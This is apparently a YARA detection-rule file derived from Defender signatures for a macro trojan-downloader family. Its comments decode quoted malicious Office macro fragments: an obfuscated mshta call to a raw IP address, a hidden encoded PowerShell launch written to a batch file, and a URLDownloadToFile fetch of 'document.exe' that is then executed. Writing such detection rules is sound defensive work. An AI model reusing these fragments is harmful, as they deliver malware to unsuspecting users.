DefenderYara/TrojanDownloader/O97M/Powdow/TrojanDownloader_O97M_Powdo...

50 lines
3.7 KiB
Plaintext

rule TrojanDownloader_O97M_Powdow_SSM_MTB{
meta:
description = "TrojanDownloader:O97M/Powdow.SSM!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 00 "
strings :
$a_01_0 = {63 6d 64 20 2f 63 20 6d 5e 73 68 5e 74 5e 61 20 68 5e 74 74 5e 70 5e 3a 2f 5e 2f 38 37 2e 32 35 31 2e 38 35 2e 31 30 30 2f 6c 6f 76 65 2f 6c 6f 76 65 37 2e 68 74 6d 6c } //1 cmd /c m^sh^t^a h^tt^p^:/^/87.251.85.100/love/love7.html
condition:
((#a_01_0 & 1)*1) >=1
}
rule TrojanDownloader_O97M_Powdow_SSM_MTB_2{
meta:
description = "TrojanDownloader:O97M/Powdow.SSM!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 00 "
strings :
$a_01_0 = {53 65 74 20 63 6f 6c 6c 20 3d 20 46 69 6c 65 6e 61 6d 65 73 43 6f 6c 6c 65 63 74 69 6f 6e 28 66 6f 6c 64 65 72 24 2c 20 22 2a 2e 78 6c 73 2a 22 29 } //1 Set coll = FilenamesCollection(folder$, "*.xls*")
$a_01_1 = {53 65 74 20 57 42 20 3d 20 57 6f 72 6b 62 6f 6f 6b 73 2e 4f 70 65 6e 28 46 69 6c 65 4e 61 6d 65 2c 20 2c 20 2c 20 2c 20 50 61 73 73 4f 6c 64 24 29 } //1 Set WB = Workbooks.Open(FileName, , , , PassOld$)
$a_03_2 = {54 68 65 6e 20 [0-15] 20 3d 20 90 1b 00 20 2b 20 22 3a 5c 70 72 6f 22 20 2b 20 [0-15] 20 2b 20 22 67 72 61 6d 64 22 } //1
$a_01_3 = {2b 20 22 61 74 61 5c 73 64 66 68 69 75 77 75 2e 62 22 } //1 + "ata\sdfhiuwu.b"
$a_03_4 = {53 68 65 6c 6c 20 66 68 32 6f 65 38 77 64 73 68 66 20 2b 20 22 61 74 22 2c 20 30 [0-03] 45 6e 64 20 53 75 62 } //1
condition:
((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1) >=5
}
rule TrojanDownloader_O97M_Powdow_SSM_MTB_3{
meta:
description = "TrojanDownloader:O97M/Powdow.SSM!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 00 "
strings :
$a_03_0 = {41 63 74 69 76 65 57 6f 72 6b 62 6f 6f 6b 2e 53 61 76 65 [0-03] 62 61 74 63 68 20 3d 20 22 [0-25] 2e 62 61 74 22 } //1
$a_01_1 = {50 72 69 6e 74 20 23 31 2c 20 22 73 74 61 72 74 20 2f 4d 49 4e 20 43 3a 5c 57 69 6e 64 6f 22 20 2b 20 22 77 73 5c 53 79 73 57 4f 57 36 34 5c 22 20 2b 20 63 61 6c 6c 31 20 2b 20 22 20 2d 77 69 6e 20 31 20 2d 65 6e 63 20 22 20 2b } //1 Print #1, "start /MIN C:\Windo" + "ws\SysWOW64\" + call1 + " -win 1 -enc " +
$a_03_2 = {69 20 3d 20 53 68 65 6c 6c 28 62 61 74 63 68 2c 20 30 29 [0-03] 45 6e 64 20 53 75 62 } //1
$a_01_3 = {63 61 6c 6c 31 20 3d 20 22 57 69 6e 64 6f 77 73 50 6f 22 20 2b 20 22 77 65 72 53 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 22 20 2b 20 22 65 72 73 68 65 6c 6c 2e 65 78 65 } //1 call1 = "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe
condition:
((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1) >=4
}
rule TrojanDownloader_O97M_Powdow_SSM_MTB_4{
meta:
description = "TrojanDownloader:O97M/Powdow.SSM!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 00 "
strings :
$a_01_0 = {53 68 65 6c 6c 20 28 4d 5f 53 20 2b 20 4a 41 52 44 49 4e 4f 50 4f 4c 49 53 34 34 20 2b 20 4d 5f 53 31 20 2b 20 4d 5f 53 32 20 2b 20 4d 5f 53 33 29 2c 20 30 } //1 Shell (M_S + JARDINOPOLIS44 + M_S1 + M_S2 + M_S3), 0
$a_01_1 = {3d 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 34 73 79 6e 63 2e 63 6f 6d 2f 77 65 62 2f 64 69 72 65 63 74 44 6f 77 6e 6c 6f 61 64 2f 47 4f 47 4a 4b 79 79 6c 2f 2d 66 67 66 67 64 4b 53 2e 64 31 30 65 32 62 35 64 33 66 38 62 35 30 30 32 66 39 61 66 38 32 63 62 39 37 62 32 38 64 34 31 } //1 = "https://www.4sync.com/web/directDownload/GOGJKyyl/-fgfgdKS.d10e2b5d3f8b5002f9af82cb97b28d41
$a_01_2 = {55 52 4c 44 6f 77 6e 6c 6f 61 64 54 6f 46 69 6c 65 20 30 2c 20 49 6d 61 67 65 6d 53 69 6d 70 6c 65 73 43 44 54 2c 20 4a 55 52 55 4c 41 4e 44 49 41 31 32 20 26 20 22 64 6f 63 75 6d 65 6e 74 2e 65 78 65 22 2c 20 30 2c 20 30 } //1 URLDownloadToFile 0, ImagemSimplesCDT, JURULANDIA12 & "document.exe", 0, 0
condition:
((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3
}